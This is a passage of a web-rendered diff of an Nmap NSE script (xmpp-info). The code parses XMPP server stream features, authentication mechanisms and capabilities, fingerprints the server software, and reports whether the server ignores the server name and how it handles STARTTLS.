t_xmpp["version"] = "(none)"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if tag.name == "sm" and tag.start and inside() then
|
|
||||||
stdnse.print_debug("OK")
|
|
||||||
--http://xmpp.org/extensions/xep-0198.html
|
|
||||||
--sample: el-tramo.be
|
|
||||||
local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
|
|
||||||
table.insert(features_list, 'Stream management v' .. version)
|
|
||||||
end
|
|
||||||
|
|
||||||
if tag.name == "starttls" and inside() then
|
|
||||||
is_starttls = true
|
|
||||||
elseif tag.name == "address" and tag.finish and inside() then
|
|
||||||
--http://delta.affinix.com/specs/xmppstream.html
|
|
||||||
table.insert(features_list, "MY IP: " .. tag.contents )
|
|
||||||
elseif tag.name == "ver" and inside() then
|
|
||||||
--http://xmpp.org/extensions/xep-0237.html
|
|
||||||
table.insert(features_list, "Roster Versioning")
|
|
||||||
elseif tag.name == "dialback" and inside() then
|
|
||||||
--http://xmpp.org/extensions/xep-0220.html
|
|
||||||
table.insert(features_list, "Server Dialback")
|
|
||||||
elseif tag.name == "session" and inside() then
|
|
||||||
--http://www.ietf.org/rfc/rfc3921.txt
|
|
||||||
table.insert(features_list, "IM Session Establishment")
|
|
||||||
elseif tag.name == "bind" and inside() then
|
|
||||||
--http://www.ietf.org/rfc/rfc3920.txt
|
|
||||||
table.insert(features_list, "Resource Binding")
|
|
||||||
elseif tag.name == "amp" and inside() then
|
|
||||||
--http://xmpp.org/extensions/xep-0079.html
|
|
||||||
table.insert(features_list, "Advanced Message Processing")
|
|
||||||
elseif tag.name == "register" and inside() then
|
|
||||||
--http://xmpp.org/extensions/xep-0077.html
|
|
||||||
--sample: jabber.ru
|
|
||||||
table.insert(features_list, "In-Band Registration")
|
|
||||||
elseif tag.name == "auth" and inside() then
|
|
||||||
--http://xmpp.org/extensions/xep-0078.html
|
|
||||||
table.insert(mechanisms, "Non-SASL")
|
|
||||||
elseif tag.name == "required" and inside('starttls') then
|
|
||||||
tls_required = true
|
|
||||||
elseif tag.name == "method" and inside('compression', 'method') then
|
|
||||||
--http://xmpp.org/extensions/xep-0138.html
|
|
||||||
if tag.finish then
|
|
||||||
table.insert(methods, tag.contents)
|
|
||||||
end
|
|
||||||
elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
|
|
||||||
if tag.finish then
|
|
||||||
table.insert(mechanisms, tag.contents)
|
|
||||||
end
|
|
||||||
elseif tag.name == "c" and inside() then
|
|
||||||
--http://xmpp.org/extensions/xep-0115.html
|
|
||||||
--sample: jabber.ru
|
|
||||||
if tag.attrs and tag.attrs.node then
|
|
||||||
caps["node"] = tag.attrs.node
|
|
||||||
|
|
||||||
-- It is a table of well-known node values of "c" tag
|
|
||||||
-- If it matched then the server software is determined
|
|
||||||
--TODO: Add more hints
|
|
||||||
-- I cannot find any non-ejabberd public server publishing its <c> :(
|
|
||||||
local hints = {
|
|
||||||
["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
|
|
||||||
}
|
|
||||||
local hint = hints[tag.attrs.node]
|
|
||||||
if hint then
|
|
||||||
port.state = "open"
|
|
||||||
port.version.product = hint
|
|
||||||
port.version.name_confidence = 10
|
|
||||||
nmap.set_port_version(host, port)
|
|
||||||
end
|
|
||||||
|
|
||||||
-- Funny situation: we have a hash of server capabilities list,
|
|
||||||
-- but we cannot explicitly ask him about the list because we have no name before the authentication.
|
|
||||||
-- The ugly solution is checking the hash against the most popular capability sets...
|
|
||||||
caps["ver"] = tag.attrs.ver
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if tag.name == "stream:error" then
|
|
||||||
if tag.start then
|
|
||||||
in_error = tag.start
|
|
||||||
elseif not got_text then -- non-RFC compliant server!
|
|
||||||
if tag.contents ~= "" then
|
|
||||||
table.insert(err, {text= tag.contents})
|
|
||||||
end
|
|
||||||
in_error = false
|
|
||||||
end
|
|
||||||
elseif in_error then
|
|
||||||
if tag.name == "text" then
|
|
||||||
if tag.finish then
|
|
||||||
got_text = true
|
|
||||||
table.insert(err, {text= tag.contents})
|
|
||||||
end
|
|
||||||
else
|
|
||||||
table.insert(err, tag.name)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if tag.start and not tag.finish then
|
|
||||||
table.insert(tag_stack, tag.name)
|
|
||||||
elseif not tag.start and tag.finish and #tag_stack > 1 then
|
|
||||||
table.remove(tag_stack, #tag_stack)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if is_starttls then
|
|
||||||
if tls_required then
|
|
||||||
table.insert(features_list, "TLS (required)")
|
|
||||||
else
|
|
||||||
table.insert(features_list, "TLS")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return {
|
|
||||||
stream_id=stream_id,
|
|
||||||
xmpp=t_xmpp,
|
|
||||||
features=features_list,
|
|
||||||
capabilities=caps,
|
|
||||||
compression_methods=methods,
|
|
||||||
auth_mechanisms=mechanisms,
|
|
||||||
errors=err,
|
|
||||||
unknown=unknown,
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local server_info = function(host, port, id1, id2)
|
local server_info = function(host, port, id1, id2)
|
||||||
for s, v in pairs(id_database) do
|
for s, v in pairs(id_database) do
|
||||||
if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and
|
if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and
|
||||||
((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then
|
((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then
|
||||||
if not v.check or v.check(id1, id2) then
|
if not v.check or v.check(id1, id2) then
|
||||||
stdnse.print_debug("MATCHED")
|
stdnse.print_debug("MATCHED")
|
||||||
port.version.product = v.name
|
port.version.product = v.name
|
||||||
stdnse.print_debug(" " .. v.name)
|
stdnse.print_debug(" " .. v.name)
|
||||||
port.version.name_confidence = 6
|
port.version.name_confidence = 6
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local factor = function( t1, t2 )
|
local factor = function( t1, t2 )
|
||||||
@@ -537,42 +537,42 @@ end
|
|||||||
|
|
||||||
portrule = shortport.port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"})
|
portrule = shortport.port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"})
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name
|
local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name
|
||||||
local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "."
|
local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "."
|
||||||
local tls_result
|
local tls_result
|
||||||
local starttls_failed
|
local starttls_failed
|
||||||
|
|
||||||
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name)
|
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name)
|
||||||
|
|
||||||
local altname_result = scan(host, port, alt_server_name, false)
|
local altname_result = scan(host, port, alt_server_name, false)
|
||||||
|
|
||||||
local plain_result = scan(host, port, server_name, false)
|
local plain_result = scan(host, port, server_name, false)
|
||||||
|
|
||||||
server_info(host, port, altname_result["stream_id"], plain_result["stream_id"])
|
server_info(host, port, altname_result["stream_id"], plain_result["stream_id"])
|
||||||
|
|
||||||
if not stdnse.get_script_args("xmpp-info.no_starttls") then
|
if not stdnse.get_script_args("xmpp-info.no_starttls") then
|
||||||
tls_result = scan(host, port, server_name, true)
|
tls_result = scan(host, port, server_name, true)
|
||||||
if not tls_result then starttls_failed = 1 end
|
if not tls_result then starttls_failed = 1 end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
local r = stdnse.output_table()
|
local r = stdnse.output_table()
|
||||||
|
|
||||||
if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then
|
if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then
|
||||||
table.insert(r, "Ignores server name")
|
table.insert(r, "Ignores server name")
|
||||||
elseif #altname_result["errors"] ~= #plain_result["errors"] then
|
elseif #altname_result["errors"] ~= #plain_result["errors"] then
|
||||||
table.insert(r, "Respects server name")
|
table.insert(r, "Respects server name")
|
||||||
end
|
end
|
||||||
|
|
||||||
if not tls_result then
|
if not tls_result then
|
||||||
if starttls_failed then table.insert(r, "STARTTLS Failed") end
|
if starttls_failed then table.insert(r, "STARTTLS Failed") end
|
||||||
r["info"] = plain_result
|
r["info"] = plain_result
|
||||||
else
|
else
|
||||||
local i,p,t = factor(plain_result, tls_result)
|
local i,p,t = factor(plain_result, tls_result)
|
||||||
r["info"] = (#i and i) or nil
|
r["info"] = (#i and i) or nil
|
||||||
r["pre_tls"] = (#p and p) or nil
|
r["pre_tls"] = (#p and p) or nil
|
||||||
r["post_tls"] = (#t and t) or nil
|
r["post_tls"] = (#t and t) or nil
|
||||||
end
|
end
|
||||||
|
|
||||||
return r
|
return r
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user